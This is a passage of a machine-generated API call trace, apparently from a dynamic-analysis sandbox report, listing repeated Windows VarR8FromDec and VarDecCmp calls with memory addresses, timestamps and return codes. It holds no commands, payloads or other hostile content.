pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarDecCmp (pdecLeft=0xa0eeda0, pdecRight=0xa0eed90) returned 0x0 [0126.770] VarDecCmp (pdecLeft=0xa0eeda0, pdecRight=0xa0eed90) returned 0x0 [0126.770] VarDecCmp (pdecLeft=0xa0eeda0, pdecRight=0xa0eed90) returned 0x0 [0126.770] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.770] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.770] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.770] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.770] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.770] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.770] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.770] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.770] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.770] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.770] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x1 [0126.770] VarDecCmp (pdecLeft=0xa0eedac, pdecRight=0xa0eed9c) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eedac, pdecRight=0xa0eed9c) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed50, pdecRight=0xa0eed40) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed50, pdecRight=0xa0eed40) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed50, pdecRight=0xa0eed40) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed5c, pdecRight=0xa0eed4c) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed5c, pdecRight=0xa0eed4c) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed00, pdecRight=0xa0eecf0) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed00, pdecRight=0xa0eecf0) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed00, pdecRight=0xa0eecf0) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed2c, pdecRight=0xa0eed1c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed2c, pdecRight=0xa0eed1c) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed0c, pdecRight=0xa0eecfc) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed2c, pdecRight=0xa0eed1c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed2c, pdecRight=0xa0eed1c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed2c, pdecRight=0xa0eed1c) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed0c, pdecRight=0xa0eecfc) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed00, pdecRight=0xa0eecf0) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed00, pdecRight=0xa0eecf0) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed2c, pdecRight=0xa0eed1c) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed0c, pdecRight=0xa0eecfc) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed2c, pdecRight=0xa0eed1c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed2c, pdecRight=0xa0eed1c) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed0c, pdecRight=0xa0eecfc) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed50, pdecRight=0xa0eed40) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed50, pdecRight=0xa0eed40) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed50, pdecRight=0xa0eed40) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed5c, pdecRight=0xa0eed4c) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed5c, pdecRight=0xa0eed4c) returned 0x1 [0126.771] VarDecCmp (pdecLeft=0xa0eed00, pdecRight=0xa0eecf0) returned 0x0 [0126.771] VarDecCmp (pdecLeft=0xa0eed00, pdecRight=0xa0eecf0) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eed2c, pdecRight=0xa0eed1c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eed0c, pdecRight=0xa0eecfc) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eed2c, pdecRight=0xa0eed1c) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eed2c, pdecRight=0xa0eed1c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eed0c, pdecRight=0xa0eecfc) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eed50, pdecRight=0xa0eed40) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eed50, pdecRight=0xa0eed40) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eed5c, pdecRight=0xa0eed4c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eed5c, pdecRight=0xa0eed4c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eeda0, pdecRight=0xa0eed90) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eeda0, pdecRight=0xa0eed90) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eeda0, pdecRight=0xa0eed90) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eedac, pdecRight=0xa0eed9c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eedac, pdecRight=0xa0eed9c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eed50, pdecRight=0xa0eed40) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eed50, pdecRight=0xa0eed40) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eed50, pdecRight=0xa0eed40) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eed5c, pdecRight=0xa0eed4c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eed5c, pdecRight=0xa0eed4c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eed50, pdecRight=0xa0eed40) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eed50, pdecRight=0xa0eed40) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eed5c, pdecRight=0xa0eed4c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eed5c, pdecRight=0xa0eed4c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eeda0, pdecRight=0xa0eed90) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eeda0, pdecRight=0xa0eed90) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eeda0, pdecRight=0xa0eed90) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eedac, pdecRight=0xa0eed9c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.772] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eedac, pdecRight=0xa0eed9c) returned 0x1 [0126.772] VarDecCmp (pdecLeft=0xa0eed50, pdecRight=0xa0eed40) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eed50, pdecRight=0xa0eed40) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x1 [0126.773] VarDecCmp (pdecLeft=0xa0eed5c, pdecRight=0xa0eed4c) returned 0x1 [0126.773] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eed7c, pdecRight=0xa0eed6c) returned 0x1 [0126.773] VarDecCmp (pdecLeft=0xa0eed5c, pdecRight=0xa0eed4c) returned 0x1 [0126.773] VarDecCmp (pdecLeft=0xa0eeda0, pdecRight=0xa0eed90) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eeda0, pdecRight=0xa0eed90) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x1 [0126.773] VarDecCmp (pdecLeft=0xa0eedac, pdecRight=0xa0eed9c) returned 0x1 [0126.773] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eedcc, pdecRight=0xa0eedbc) returned 0x1 [0126.773] VarDecCmp (pdecLeft=0xa0eedac, pdecRight=0xa0eed9c) returned 0x1 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eee7c, pdecRight=0xa0eee6c) returned 0x0 [0126.773] VarDecCmp (pdecLeft=0xa0eee5c, pdecRight=0xa0eee4c) returned 0x2 [0126.773] VarDecCmp (pdecLeft=0xa0eedc0, pdecRight=0xa0eedb0) returned 0x1 [0126.773] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.773] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.774] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0126.783] VarR8FromDec (in: pdecIn=0xa0eede8, pdblOut=0xa0eedd4 | out: pdblOut=0xa0eedd4) returned 0x0 [0126.783] VarR8FromDec (in: pdecIn=0xa0eedfc, pdblOut=0xa0eede8 | out: pdblOut=0xa0eede8) returned 0x0 [0126.783] VarR8FromDec (in: pdecIn=0xa0eede8, pdblOut=0xa0eedd4 | out: pdblOut=0xa0eedd4) returned 0x0 [0126.783] VarR8FromDec (in: pdecIn=0xa0eedfc, pdblOut=0xa0eede8 | out: pdblOut=0xa0eede8) returned 0x0 [0126.783] VarR8FromDec (in: pdecIn=0xa0eede8, pdblOut=0xa0eedd4 | out: pdblOut=0xa0eedd4) returned 0x0 [0126.783] VarR8FromDec (in: pdecIn=0xa0eedfc, pdblOut=0xa0eede8 | out: pdblOut=0xa0eede8) returned 0x0 [0126.783] VarR8FromDec (in: pdecIn=0xa0eede8, pdblOut=0xa0eedd4 | out: pdblOut=0xa0eedd4) returned 0x0 [0126.783] VarDecCmp (pdecLeft=0xa0eecc8, pdecRight=0xa0eecb8) returned 0x0 [0126.783] VarDecCmp (pdecLeft=0xa0eecc8, pdecRight=0xa0eecb8) returned 0x0 [0126.783] VarDecCmp (pdecLeft=0xa0eecc8, pdecRight=0xa0eecb8) returned 0x0 [0126.783] VarDecCmp (pdecLeft=0xa0eecf4, pdecRight=0xa0eece4) returned 0x0 [0126.783] VarDecCmp (pdecLeft=0xa0eecf4, pdecRight=0xa0eece4) returned 0x1 [0126.783] VarDecCmp (pdecLeft=0xa0eecd4, pdecRight=0xa0eecc4) returned 0x1 [0126.783] VarDecCmp (pdecLeft=0xa0eecf4, pdecRight=0xa0eece4) returned 0x0 [0126.783] VarDecCmp (pdecLeft=0xa0eecf4, pdecRight=0xa0eece4) returned 0x0 [0126.783] VarDecCmp (pdecLeft=0xa0eecf4, pdecRight=0xa0eece4) returned 0x1 [0126.783] VarDecCmp (pdecLeft=0xa0eecd4, pdecRight=0xa0eecc4) returned 0x1 [0126.783] VarDecCmp (pdecLeft=0xa0eecc8, pdecRight=0xa0eecb8) returned 0x0 [0126.783] VarDecCmp (pdecLeft=0xa0eecc8, pdecRight=0xa0eecb8) returned 0x0 [0126.783] VarDecCmp (pdecLeft=0xa0eecf4, pdecRight=0xa0eece4) returned 0x1 [0126.783] VarDecCmp (pdecLeft=0xa0eecd4, pdecRight=0xa0eecc4) returned 0x1 [0126.783] VarDecCmp (pdecLeft=0xa0eecf4, pdecRight=0xa0eece4) returned 0x0 [0126.783] VarDecCmp (pdecLeft=0xa0eecf4, pdecRight=0xa0eece4) returned 0x1 [0126.783] VarDecCmp (pdecLeft=0xa0eecd4, pdecRight=0xa0eecc4) returned 0x1 [0126.783] VarDecCmp (pdecLeft=0xa0eeda4, pdecRight=0xa0eed94) returned 0x0 [0126.783] VarDecCmp (pdecLeft=0xa0eed84, pdecRight=0xa0eed74) returned 0x2 [0126.783] VarDecCmp (pdecLeft=0xa0eeda4, pdecRight=0xa0eed94) returned 0x0 [0126.783] VarDecCmp (pdecLeft=0xa0eed84, pdecRight=0xa0eed74) returned 0x2 [0126.783] VarDecCmp (pdecLeft=0xa0eeda4, pdecRight=0xa0eed94) returned 0x0 [0126.783] VarDecCmp (pdecLeft=0xa0eed84, pdecRight=0xa0eed74) returned 0x2 [0126.783] VarDecCmp (pdecLeft=0xa0eece8, pdecRight=0xa0eecd8) returned 0x1 [0126.783] VarDecCmp (pdecLeft=0xa0eec68, pdecRight=0xa0eec58) returned 0x1 [0126.783] VarDecCmp (pdecLeft=0xa0eec68, pdecRight=0xa0eec58) returned 0x1 [0126.783] VarDecCmp (pdecLeft=0xa0eec68, pdecRight=0xa0eec58) returned 0x1 [0126.784] VarDecCmp (pdecLeft=0xa0eec68, pdecRight=0xa0eec58) returned 0x1 [0126.785] VarR8FromDec (in: pdecIn=0xa0eec48, pdblOut=0xa0eec34 | out: pdblOut=0xa0eec34) returned 0x0 [0126.785] VarR8FromDec (in: pdecIn=0xa0eec5c, pdblOut=0xa0eec48 | out: pdblOut=0xa0eec48) returned 0x0 [0126.785] VarR8FromDec (in: pdecIn=0xa0eec48, pdblOut=0xa0eec34 | out: pdblOut=0xa0eec34) returned 0x0 [0126.785] VarR8FromDec (in: pdecIn=0xa0eec5c, pdblOut=0xa0eec48 | out: pdblOut=0xa0eec48) returned 0x0 [0126.785] VarR8FromDec (in: pdecIn=0xa0eec48, pdblOut=0xa0eec34 | out: pdblOut=0xa0eec34) returned 0x0 [0126.785] VarDecCmp (pdecLeft=0xa0eeb28, pdecRight=0xa0eeb18) returned 0x0 [0126.785] VarDecCmp (pdecLeft=0xa0eeb28, pdecRight=0xa0eeb18) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eeb28, pdecRight=0xa0eeb18) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eeb54, pdecRight=0xa0eeb44) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eeb54, pdecRight=0xa0eeb44) returned 0x1 [0126.786] VarDecCmp (pdecLeft=0xa0eeb34, pdecRight=0xa0eeb24) returned 0x1 [0126.786] VarDecCmp (pdecLeft=0xa0eeb54, pdecRight=0xa0eeb44) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eeb54, pdecRight=0xa0eeb44) returned 0x1 [0126.786] VarDecCmp (pdecLeft=0xa0eeb34, pdecRight=0xa0eeb24) returned 0x1 [0126.786] VarDecCmp (pdecLeft=0xa0eec04, pdecRight=0xa0eebf4) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eebe4, pdecRight=0xa0eebd4) returned 0x2 [0126.786] VarDecCmp (pdecLeft=0xa0eec04, pdecRight=0xa0eebf4) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eebe4, pdecRight=0xa0eebd4) returned 0x2 [0126.786] VarDecCmp (pdecLeft=0xa0eeb48, pdecRight=0xa0eeb38) returned 0x1 [0126.786] VarDecCmp (pdecLeft=0xa0eeac8, pdecRight=0xa0eeab8) returned 0x1 [0126.786] VarDecCmp (pdecLeft=0xa0eeac8, pdecRight=0xa0eeab8) returned 0x1 [0126.786] VarDecCmp (pdecLeft=0xa0eeac8, pdecRight=0xa0eeab8) returned 0x1 [0126.786] VarR8FromDec (in: pdecIn=0xa0eeda4, pdblOut=0xa0eed90 | out: pdblOut=0xa0eed90) returned 0x0 [0126.786] VarR8FromDec (in: pdecIn=0xa0eedb8, pdblOut=0xa0eeda4 | out: pdblOut=0xa0eeda4) returned 0x0 [0126.786] VarR8FromDec (in: pdecIn=0xa0eeda4, pdblOut=0xa0eed90 | out: pdblOut=0xa0eed90) returned 0x0 [0126.786] VarR8FromDec (in: pdecIn=0xa0eedb8, pdblOut=0xa0eeda4 | 